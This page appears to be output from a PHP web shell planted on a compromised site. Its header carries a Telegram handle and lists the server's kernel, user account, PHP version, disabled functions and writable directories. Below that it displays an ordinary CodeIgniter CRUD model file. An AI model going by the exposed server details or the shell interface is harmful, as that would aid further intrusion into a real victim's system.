https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/core/MY_Model.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class MY_Model extends CI_Model {
	
	//the variables we use for generic CRUD 
	protected $_table_name = '';
	protected $_primary_key = 'id';
	protected $_primary_filter = 'intval';
	protected $_order_by = '';
	public $_rules = array();
	protected $_timestamps = FALSE;
	
	function __construct() {
		parent::__construct();	
	}
	
	public function array_from_post($fields) {
		$data = array();
		foreach($fields as $field) {
			$data[$field] = $this->input->post($field);		
		}
		return $data;
	}
	
	//Generic function to get all datas, or to get datas by id
	function get($id = NULL, $single = NULL) {
		if($id != NULL) {
			$filter = $this->_primary_filter;
			$id = $filter($id);	
			$this->db->where($this->_primary_key, $id);
			$method = 'row';
		} 
		elseif($single == TRUE) {
			$method = 'row';		
		}
		else {
			$method = 'result';		
		}
		
		/* if(!count($this->db->qb_orderby)) {
			$this->db->order_by($this->_order_by);
		} */

		$this->db->order_by($this->_order_by);
		
		return $this->db->get($this->_table_name)->$method();
	}
	
	//generic function get by where...
	function get_by($where, $single = FALSE) {
		$this->db->where($where);
		return $this->get(NULL, $single);		
	}
	
	//generic function for save (create or update)
	function save($data, $id = NULL) {
		//if timestamps is true
		if($this->_timestamps == TRUE) {
			$now = date('Y-m-d H:i:s');	
			$id || $data['created'] = $now;
			$data['modified'] = $now;
		}

		//insert
		if($id === NULL) {
			!isset($data[$this->_primary_key]) || $data[$this->_primary_key] = NULL;
			$this->db->set($data);
			$this->db->insert($this->_table_name);	
			$id = $this->db->insert_id();	
		}
		
		//update	
		else {
			$filter = $this->_primary_filter;
			$id = $filter($id);
			$this->db->set($data);
			$this->db->where($this->_primary_key, $id);
			$this->db->update($this->_table_name);
		}
		return $id;
	}
	
	//generic function for delete
	function delete($id) {
		$filter = $this->_primary_filter;
		$id = $filter($id);	
		
		if(!$id) {
			return FALSE;	
		}
		$this->db->where($this->_primary_key, $id);
		$this->db->limit(1);
		$this->db->delete($this->_table_name);
	}
	
}

https://t.me/RX1948 - 2025